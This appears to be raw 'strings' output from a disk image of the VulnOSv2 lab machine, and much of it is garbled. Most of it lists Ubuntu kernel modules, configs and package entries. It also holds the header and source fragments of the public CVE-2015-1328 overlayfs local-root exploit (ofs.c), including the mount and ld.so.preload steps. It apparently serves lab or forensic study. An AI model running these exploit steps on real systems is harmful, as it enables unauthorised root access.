brprintconf_dcp750cwbrother-lpr-drivers-bh7usx2yloaderalsa-firmware-loadersroget_componentssgbsubtitle2pgmsubtitlerippericmp_redirectirpasfsl4.1-create_lutfsl-4.1reminiscencereminiscencejulius-generate-ngramjuliusassaultcube-serverassaultcubemultignautyfsl4.1-extracttxtfsl-4.1xcluster3cluster3itraceirpasfsl4.1-convertwarpfsl-4.1subp2pgmogmripfsl4.1-imtestfsl-4.1sift_feed_to_chr_coords_batch.plsiftalien-arenaalien-arenamovie-make-titlevideotransmythfillnetvisionmythnetvisiontadsctads2-devbrprintconfijbrother-lpr-drivers-extrayn00pamlfsl4.1-contrast_mgrfsl-4.1jedutilmame-toolsngsconvertngspicetriangletriangle-binfilehashnvidia-cuda-toolkitmytharchivehelpermytharchivednetcdistributed-netmythjobqueuemythtv-backendmythccextractormythtv-commonbrprintconf_hl4040cdnbrother-lpr-drivers-acspellcast800spellcastzangbandzangbandq
genr
+moun
fsl4CG
--
5696575b3a8fc6eeeab6025cc6a1907c  lib/modules/3.13.0-24-generic/kernel/fs/nfs/objlayout/objlayoutdriver.ko
1823dc1bf9b6595f4c2d04ea37b8d3e7  lib/modules/3.13.0-24-generic/kernel/fs/nfs_common/nfs_acl.ko
3ffb3a98f6aeae7acb7ff9f679bdfd94  lib/modules/3.13.0-24-generic/kernel/fs/nfsd/nfsd.ko
ee9f8823c513f58a9244b1a66747ec61  lib/modules/3.13.0-24-generic/kernel/fs/nls/nls_iso8859-1.ko
c42f3e273ae4922391280bb4c5530e4e  lib/modules/3.13.0-24-generic/kernel/fs/overlayfs/overlayfs.ko
12b088884b96112f1c3eb7ed091e293d  lib/modules/3.13.0-24-generic/kernel/fs/squashfs/squashfs.ko
44ca36f5915e6e2469cde19eb3485c15  lib/modules/3.13.0-24-generic/kernel/fs/udf/udf.ko
80b8e7449fb449d51c278d528bd66a35  lib/modules/3.13.0-24-generic/kernel/fs/ufs/ufs.ko
0aacdaff10fb0328f26b1668e4bd1cee  lib/modules/3.13.0-24-generic/kernel/fs/xfs/xfs.ko
--
kernel/fs/qnx4/qnx4.ko
kernel/fs/qnx6/qnx6.ko
kernel/fs/autofs4/autofs4.ko
kernel/fs/adfs/adfs.ko
kernel/fs/overlayfs/overlayfs.ko
kernel/fs/udf/udf.ko
kernel/fs/omfs/omfs.ko
kernel/fs/jfs/jfs.ko
kernel/fs/xfs/xfs.ko
--
0e6d1e48e985abad486c8bb391976d6e  usr/src/linux-headers-3.13.0-24/fs/ocfs2/dlmfs/Makefile
561074f8839e62a78f0d91254280d775  usr/src/linux-headers-3.13.0-24/fs/omfs/Kconfig
14cd2818327cdeef380647d8cd0c7d2e  usr/src/linux-headers-3.13.0-24/fs/omfs/Makefile
bd5043a54f3926724fba420cf4787996  usr/src/linux-headers-3.13.0-24/fs/openpromfs/Makefile
39217a6af1a804a84a29d84328632c1b  usr/src/linux-headers-3.13.0-24/fs/overlayfs/Kconfig
337e6a477b6f6512ce39db554d5eddc2  usr/src/linux-headers-3.13.0-24/fs/overlayfs/Makefile
7124a05137b340f6da715d29be8086b8  usr/src/linux-headers-3.13.0-24/fs/proc/Kconfig
9769ab95e69150b46b7f0939569dcf53  usr/src/linux-headers-3.13.0-24/fs/proc/Makefile
f8c789b92e6aa493d295ed4a31fd3d85  usr/src/linux-headers-3.13.0-24/fs/pstore/Kconfig
0537cf06f27a29edf617673ac951b129  usr/src/linux-headers-3.13.0-24/fs/pstore/Makefile
--
#define CONFIG_SERIAL_MAX310X 1
#define CONFIG_NET_EMATCH_NBYTE_MODULE 1
#define CONFIG_SENSORS_BH1770_MODULE 1
#define CONFIG_NORTEL_HERMES_MODULE 1
#define CONFIG_OVERLAYFS_FS_MODULE 1
#define CONFIG_SIS190_MODULE 1
#define CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS 1
#define CONFIG_RAPIDIO_DMA_ENGINE 1
#define CONFIG_TCG_NSC_MODULE 1
--
/usr/src/linux-headers-3.13.0-24/fs/ntfs/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/ubifs
/usr/src/linux-headers-3.13.0-24/fs/ubifs/Makefile
/usr/src/linux-headers-3.13.0-24/fs/ubifs/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/overlayfs
/usr/src/linux-headers-3.13.0-24/fs/overlayfs/Makefile
/usr/src/linux-headers-3.13.0-24/fs/overlayfs/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/xfs
/usr/src/linux-headers-3.13.0-24/fs/xfs/Makefile
/usr/src/linux-headers-3.13.0-24/fs/xfs/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/gfs2
--
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/ore.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/orinoco/usb.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/osf/partition.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/output/format.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs/fs.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/common.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/leds.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/pci.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/spi.h
--
CONFIG_SENSORS_LM70=M
CONFIG_NET_EMATCH_NBYTE=M
CONFIG_SENSORS_BH1770=M
CONFIG_NORTEL_HERMES=M
CONFIG_OVERLAYFS_FS=M
CONFIG_SIS190=M
CONFIG_TCG_NSC=M
CONFIG_WIMAX_I2400M=M
CONFIG_CUSE=M
--
CONFIG_SERIAL_MAX310X=y
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_SENSORS_BH1770=m
CONFIG_NORTEL_HERMES=m
CONFIG_OVERLAYFS_FS=m
CONFIG_SIS190=m
CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS=y
CONFIG_RAPIDIO_DMA_ENGINE=y
CONFIG_TCG_NSC=m
--
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=y
CONFIG_CUSE=m
CONFIG_OVERLAYFS_FS=m
CONFIG_GENERIC_ACL=y
# Caches
CONFIG_FSCACHE=m
CONFIG_FSCACHE_STATS=y
--
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=y
CONFIG_CUSE=m
CONFIG_OVERLAYFS_FS=m
CONFIG_GENERIC_ACL=y
# Caches
CONFIG_FSCACHE=m
CONFIG_FSCACHE_STATS=y
--
/usr/src/linux-headers-3.13.0-24-generic/include/config/i2o/lct/notify/on
/usr/src/linux-headers-3.13.0-24-generic/include/config/i2o/lct/notify/on/changes.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/i2o/config.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/lapbether.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs
/usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs/fs.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/ib700
/usr/src/linux-headers-3.13.0-24-generic/include/config/ib700/wdt.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/optimize
/usr/src/linux-headers-3.13.0-24-generic/include/config/optimize/inlining.h
--
/lib/modules/3.13.0-24-generic/kernel/fs/ntfs
/lib/modules/3.13.0-24-generic/kernel/fs/ntfs/ntfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/ubifs
/lib/modules/3.13.0-24-generic/kernel/fs/ubifs/ubifs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/overlayfs
/lib/modules/3.13.0-24-generic/kernel/fs/xfs
/lib/modules/3.13.0-24-generic/kernel/fs/gfs2
/lib/modules/3.13.0-24-generic/kernel/fs/gfs2/gfs2.ko
/lib/modules/3.13.0-24-generic/kernel/fs/reiserfs
--
 This package detects other OSes available on a system and outputs the
 results in a generic machine-readable format.
Package: overlayroot
Description-md5: 994a1e190cc10da9cb6f340384617d3c
Description-en: use an overlayfs on top of a read-only root filesystem
 This package adds functionality to an initramfs built by initramfs-tools.
 When installed and configured, the initramfs will mount an overlayfs
 filesystem on top of a read-only root volume.
 The changes can be written to a in-memory temporary filesystem, a
 filesystem on an existing block device, or a dmcrypt encrypted block
 device.
--
Size: 14416
MD5sum: 625179f1a8cac7d24126d25cf532649e
SHA1: e3413327cf1655c7061688e6cf4cffe0411f9345
SHA256: a296adb97d180966d254534b8d2bd225242fc179def38a7e5157bc00a959ecd5
Description: use an overlayfs on top of a read-only root filesystem
Homepage: http://launchpad.net/cloud-initramfs-tools
Description-md5: 994a1e190cc10da9cb6f340384617d3c
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
--
Description-en: GTK 3 module for overlay scrollbars
 Overlay scrollbar is a GtkModule enabling a dynamic overlay behavior.
Package: overlayroot
Description-md5: 994a1e190cc10da9cb6f340384617d3c
Description-en: use an overlayfs on top of a read-only root filesystem
 This package adds functionality to an initramfs built by initramfs-tools.
 When installed and configured, the initramfs will mount an overlayfs
 filesystem on top of a read-only root volume.
 The changes can be written to a in-memory temporary filesystem, a
 filesystem on an existing block device, or a dmcrypt encrypted block
 device.
--
nilfs2
ntfs
ocfs2
omfs
overlayfs
pstore
qnx4
qnx6
quota
--
/lib/modules/3.13.0-24-generic/kernel/fs/ocfs2/dlmfs
ocfs2_dlmfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/omfs
omfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/overlayfs
overlayfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/pstore
ramoops.ko
/lib/modules/3.13.0-24-generic/kernel/fs/qnx4
qnx4.ko
--
ntfs
ocfs2
omfs
openpromfs
overlayfs
proc
pstore
qnx4
qnx6
--
88:(
/usr/src/linux-headers-3.13.0-24/fs/openpromfs
Makefile
88:(
/usr/src/linux-headers-3.13.0-24/fs/overlayfs
Kconfig
Makefile
88:(
/usr/src/linux-headers-3.13.0-24/fs/proc
--
optprobes.h
ore.h
orinoco
output
overlayfs
packet
packet.h
padata.h
page
--
/usr/src/linux-headers-3.13.0-24-generic/include/config/osf
partition.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/output
format.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs
fs.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/p54
common.h
leds.h
--
Size: 14524
MD5sum: 4880de739ebdb3681d333a47c07803da
SHA1: 4f35f60c6c6e9bed0e8708ce410c77d5cd9f47b4
SHA256: 262e1568d9ac2b3ffc1c4e7e88038674dddd5e8adfe8e2c452c9f4efaf4fd786
Description: use an overlayfs on top of a read-only root filesystem
Homepage: http://launchpad.net/cloud-initramfs-tools
Description-md5: 994a1e190cc10da9cb6f340384617d3c
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
--
        .align 4
.LC6:
        .string "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper"
.LC7:
        .string "overlayfs"
.LC8:
        .string "overlay"
        .align 4
.LC9:
        .string "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work"
        .align 4
.LC10:
        .string "no FS_USERNS_MOUNT for overlayfs on this kernel\n"
.LC11:
        .string ".access"
.LC12:
        .string "/tmp/ns_sploit/work/work"
--
/tmp/ns_sploit/upper
/tmp/ns_sploit/o
mount #1
lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper
overlayfs
overlay
lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work
no FS_USERNS_MOUNT for overlayfs on this kernel
.access
/tmp/ns_sploit/work/work
ns_last_pid
ld.so.preload
--
nfsdpkg-new
configfsdpkg-new
exofs
fscache
overlayfsg-newew
autofs4
isofs
lockd
btrfspkg-new
--
isofs.ko.dpkg-tmp
lockd.ko.dpkg-new
lockd.ko
lockd.ko.dpkg-tmp
overlayfs.ko.dpkg-new
overlayfs.ko
overlayfs.ko.dpkg-tmp
udf.ko.dpkg-new
udf.ko
udf.ko.dpkg-tmp
btrfs.ko.dpkg-new
--
kernel/drivers/media/i2c/soc_camera/ov772x.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
kernel/drivers/media/i2c/soc_camera/ov9640.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
kernel/drivers/media/i2c/soc_camera/ov9740.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
rlayfs
skernel/fs/overlayfs/overlayfs.ko:
Hu210hp_hcd
kernel/drivers/usb/host/oxu210hp-hcd.ko:
wpan
kernel/drivers/staging/ozwpan/ozwpan.ko:
--
uomfs
rofilefs
?oprofile
erlayfs
soverlayfs
oqnx4
pqnx6
iserfs
Qreiserfs
--
kernel/fs/qnx4/qnx4.ko:
kernel/fs/qnx6/qnx6.ko:
kernel/fs/autofs4/autofs4.ko:
kernel/fs/adfs/adfs.ko:
kernel/fs/overlayfs/overlayfs.ko:
kernel/fs/udf/udf.ko: kernel/lib/crc-itu-t.ko
kernel/fs/omfs/omfs.ko: kernel/lib/crc-itu-t.ko
kernel/fs/jfs/jfs.ko:
kernel/fs/xfs/xfs.ko: kernel/lib/libcrc32c.ko
--
kernel/drivers/media/i2c/soc_camera/ov772x.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
kernel/drivers/media/i2c/soc_camera/ov9640.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
kernel/drivers/media/i2c/soc_camera/ov9740.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
rlayfs
skernel/fs/overlayfs/overlayfs.ko:
Hu210hp_hcd
kernel/drivers/usb/host/oxu210hp-hcd.ko:
wpan
kernel/drivers/staging/ozwpan/ozwpan.ko:
--
alias fs-autofs autofs4
alias devname:autofs autofs4
alias char-major-10-235 autofs4
alias fs-adfs adfs
alias fs-overlayfs overlayfs
alias fs-udf udf
alias fs-omfs omfs
alias fs-jfs jfs
alias fs-xfs xfs
--
uomfs
rofilefs
?oprofile
erlayfs
soverlayfs
oqnx4
pqnx6
iserfs
Qreiserfs
--
kernel/fs/qnx4/qnx4.ko:
kernel/fs/qnx6/qnx6.ko:
kernel/fs/autofs4/autofs4.ko:
kernel/fs/adfs/adfs.ko:
kernel/fs/overlayfs/overlayfs.ko:
kernel/fs/udf/udf.ko: kernel/lib/crc-itu-t.ko
kernel/fs/omfs/omfs.ko: kernel/lib/crc-itu-t.ko
kernel/fs/jfs/jfs.ko:
kernel/fs/xfs/xfs.ko: kernel/lib/libcrc32c.ko
--
alias fs-autofs autofs4
alias devname:autofs autofs4
alias char-major-10-235 autofs4
alias fs-adfs adfs
alias fs-overlayfs overlayfs
alias fs-udf udf
alias fs-omfs omfs
alias fs-jfs jfs
alias fs-xfs xfs
--
/lib/modules/3.13.0-24-generic/kernel/fs/isofs
/lib/modules/3.13.0-24-generic/kernel/fs/isofs/isofs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/lockd
/lib/modules/3.13.0-24-generic/kernel/fs/lockd/lockd.ko
/lib/modules/3.13.0-24-generic/kernel/fs/overlayfs
/lib/modules/3.13.0-24-generic/kernel/fs/overlayfs/overlayfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/udf
/lib/modules/3.13.0-24-generic/kernel/fs/udf/udf.ko
/lib/modules/3.13.0-24-generic/kernel/fs/btrfs
/lib/modules/3.13.0-24-generic/kernel/fs/btrfs/btrfs.ko
--
kernel/fs/qnx4/qnx4.ko:
kernel/fs/qnx6/qnx6.ko:
kernel/fs/autofs4/autofs4.ko:
kernel/fs/adfs/adfs.ko:
kernel/fs/overlayfs/overlayfs.ko:
kernel/fs/udf/udf.ko: kernel/lib/crc-itu-t.ko
kernel/fs/omfs/omfs.ko: kernel/lib/crc-itu-t.ko
kernel/fs/jfs/jfs.ko:
kernel/fs/xfs/xfs.ko: kernel/lib/libcrc32c.ko
--
kernel/drivers/media/i2c/soc_camera/ov772x.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
kernel/drivers/media/i2c/soc_camera/ov9640.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
kernel/drivers/media/i2c/soc_camera/ov9740.ko: kernel/drivers/media/platform/soc_camera/soc_camera.ko kernel/drivers/media/v4l2-core/v4l2-common.ko kernel/drivers/media/platform/soc_camera/soc_mediabus.ko kernel/drivers/media/v4l2-core/videobuf-core.ko kernel/drivers/media/v4l2-core/videobuf2-core.ko kernel/drivers/media/v4l2-core/videodev.ko
rlayfs
skernel/fs/overlayfs/overlayfs.ko:
Hu210hp_hcd
kernel/drivers/usb/host/oxu210hp-hcd.ko:
wpan
kernel/drivers/staging/ozwpan/ozwpan.ko:
--
alias fs-autofs autofs4
alias devname:autofs autofs4
alias char-major-10-235 autofs4
alias fs-adfs adfs
alias fs-overlayfs overlayfs
alias fs-udf udf
alias fs-omfs omfs
alias fs-jfs jfs
alias fs-xfs xfs
--
uomfs
rofilefs
?oprofile
erlayfs
soverlayfs
oqnx4
pqnx6
iserfs
Qreiserfs
--
`[^_]
[^_]
,lowerdir=%s
,upperdir=%s
overlayfs
lowerdir=%s
upperdir=%s
trusted.overlay.opaque
trusted.overlay.whiteout
trusted.overlay.
illegal file type: %i
(overlay-whiteout)
3overlayfs: missing upperdir or lowerdir
3overlayfs: statfs failed on lowerpath
3overlayfs: maximum fs stacking depth exceeded
3overlayfs: failed to clone upperpath
3overlayfs: failed to clone lowerpath
/build/buildd/linux-3.13.0/fs/overlayfs/super.c
/build/buildd/linux-3.13.0/fs/overlayfs/inode.c
/build/buildd/linux-3.13.0/fs/overlayfs/dir.c
3overlayfs: ERROR - failed to whiteout '%s'
/build/buildd/linux-3.13.0/fs/overlayfs/readdir.c
4overlayfs: failed to lookup whiteout %.*s: %li
4overlayfs: failed to unlink whiteout %.*s: %i
/build/buildd/linux-3.13.0/fs/overlayfs/copy_up.c
alias=fs-overlayfs
license=GPL
description=Overlay filesystem
author=Miklos Szeredi <miklos@szeredi.hu>
srcversion=13BE7F345B896C028EEA9C5
--
9G$revert_creds
Mvfs_listxattr
vfs_removexattr
vfs_fsync_range
overlayfs
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
overlayfs.ko
.symtab
.strtab
.shstrtab
.note.gnu.build-id
--
/lib/modules/3.13.0-24-generic/kernel/fs/nfs/nfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/nfs/nfsv2.ko
/lib/modules/3.13.0-24-generic/kernel/fs/nfsd
/lib/modules/3.13.0-24-generic/kernel/fs/nfsd/nfsd.ko
/lib/modules/3.13.0-24-generic/kernel/fs/overlayfs
/lib/modules/3.13.0-24-generic/kernel/fs/overlayfs/overlayfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/xfs
/lib/modules/3.13.0-24-generic/kernel/fs/xfs/xfs.ko
/lib/modules/3.13.0-24-generic/kernel/fs/ceph
/lib/modules/3.13.0-24-generic/kernel/fs/ceph/ceph.ko
--
$!(qe
6tm'
~]vG.
[l~A
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
--
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);
    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
--
    rename(file,"ld.so.preload");
    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
--
/tmp/ns_sploit/upper
/tmp/ns_sploit/o
mount #1
lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper
overlayfs
overlay
lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work
no FS_USERNS_MOUNT for overlayfs on this kernel
.access
/tmp/ns_sploit/work/work
ns_last_pid
ld.so.preload
--
                printerror executing initscript action \"${saction}\"...
            fi
            if [ -n "$is_upstart" ]; then
                # Force Upstart to re-scan /etc/init for filesystems with
                # broken inotify (such as overlayfs (LP: #882147)).
                initctl reload-configuration >/dev/null 2>&1
                case $saction in
                    status)
                        "$saction" "$INITSCRIPTID" && exit 0
--
    if not os.path.exists(rw_dir+target):
        os.makedirs(rw_dir+target)
    if not os.path.exists(chroot_dir+target):
        os.makedirs(chroot_dir+target)
    # FIXME: figure out when to use aufs and when to use overlayfs
    use_overlayfs = False
    if use_overlayfs:
        cmd = ["mount",
               "-t","overlayfs",
               "-o","upperdir=%s,lowerdir=%s" % (rw_dir+target, target),
               "none",
               chroot_dir+target]
    else:
--
import sys
from datetime import datetime
from optparse import OptionParser
from gettext import gettext as _
# dirs that the packages will touch, this is needed for AUFS/overlayfs
# and also for the sanity check before the upgrade
SYSTEM_DIRS = ["/bin",
              "/boot",
              "/etc",
--
                printerror executing initscript action \"${saction}\"...
            fi
            if [ -n "$is_upstart" ]; then
                # Force Upstart to re-scan /etc/init for filesystems with
                # broken inotify (such as overlayfs (LP: #882147)).
                initctl reload-configuration >/dev/null 2>&1
                case $saction in
                    status)
                        "$saction" "$INITSCRIPTID" && exit 0
--
    if not os.path.exists(rw_dir+target):
        os.makedirs(rw_dir+target)
    if not os.path.exists(chroot_dir+target):
        os.makedirs(chroot_dir+target)
    # FIXME: figure out when to use aufs and when to use overlayfs
    use_overlayfs = False
    if use_overlayfs:
        cmd = ["mount",
               "-t","overlayfs",
               "-o","upperdir=%s,lowerdir=%s" % (rw_dir+target, target),
               "none",
               chroot_dir+target]
    else:
--
_bindMount/
    helper that takes a target dir and mounts a rw dir over it, e.g.
    /var , /tmp/upgrade-rw
    Fr
-tZ     overlayfsz
upperdir=%s,lowerdir=%s
none
aufsz
br:%s:%s=ror
--
cmd '%s' return '%s' T) r
target
rw_dir
chroot_dirZ
use_overlayfsr
_aufsOverlayMount@
z< test if the given dir is already mounted with aufs overlay z
/proc/mountsr!
open
--
_bindMount/
    helper that takes a target dir and mounts a rw dir over it, e.g.
    /var , /tmp/upgrade-rw
    Fr
-tZ     overlayfsz
upperdir=%s,lowerdir=%s
none
aufsz
br:%s:%s=ror
--
cmd '%s' return '%s' T) r
target
rw_dir
chroot_dirZ
use_overlayfsr
_aufsOverlayMount@
z< test if the given dir is already mounted with aufs overlay z
/proc/mountsr!
open
--
ext2
notify
configfsg-new-ne
ext3
overlayfs-newwew
minix
autofs4
isofs
ntfs
--
import sys
from datetime import datetime
from optparse import OptionParser
from gettext import gettext as _
# dirs that the packages will touch, this is needed for AUFS/overlayfs
# and also for the sanity check before the upgrade
SYSTEM_DIRS = ["/bin",
              "/boot",
              "/etc",
--
alim7101#
memorypk
rt2x00
ht.d
overlayfsr.d
ppdev.hd
pantherlordg
ipew
hsr.hdio
--
        default y
        help
          Zlib compresses better than LZO but it is slower. Say 'Y' if unsure.
# Makefile for the overlay filesystem.
obj-$(CONFIG_OVERLAYFS_FS) += overlayfs.o
overlayfs-objs := super.o inode.o dir.o readdir.o copy_up.o
config OVERLAYFS_FS
        tristate "Overlay filesystem support"
        help
          An overlay filesystem combines two filesystems - an 'upper' filesystem
          and a 'lower' filesystem.  When a name exists in both filesystems, the
          object in the 'upper' filesystem is visible while the object in the
          'lower' filesystem is either hidden or, in the case of directories,
          merged with the 'upper' object.
          For more information see Documentation/filesystems/overlayfs.txt
# Copyright (c) 2000-2005 Silicon Graphics, Inc.
# All Rights Reserved.
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
--
obj-$(CONFIG_QNX6FS_FS)         += qnx6/
obj-$(CONFIG_AUTOFS4_FS)        += autofs4/
obj-$(CONFIG_ADFS_FS)           += adfs/
obj-$(CONFIG_FUSE_FS)           += fuse/
obj-$(CONFIG_OVERLAYFS_FS)      += overlayfs/
obj-$(CONFIG_UDF_FS)            += udf/
obj-$(CONFIG_SUN_OPENPROMFS)    += openpromfs/
obj-$(CONFIG_OMFS_FS)           += omfs/
obj-$(CONFIG_JFS_FS)            += jfs/
--
source "fs/notify/Kconfig"
source "fs/quota/Kconfig"
source "fs/autofs4/Kconfig"
source "fs/fuse/Kconfig"
source "fs/overlayfs/Kconfig"
config GENERIC_ACL
        bool
        select FS_POSIX_ACL
menu "Caches"
--
        fs/udf/Kconfig \
        fs/isofs/Kconfig \
        fs/cachefiles/Kconfig \
        fs/fscache/Kconfig \
        fs/overlayfs/Kconfig \
        fs/fuse/Kconfig \
        fs/autofs4/Kconfig \
        fs/quota/Kconfig \
        fs/notify/fanotify/Kconfig \

┌──(venv)─(kali㉿kali)-[~/Downloads]
└─$ sudo strings -a /dev/mapper/VulnOSv2--vg-root | grep -m5 -i -A6 "Exploit Title"
[sudo] password for kali:

# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
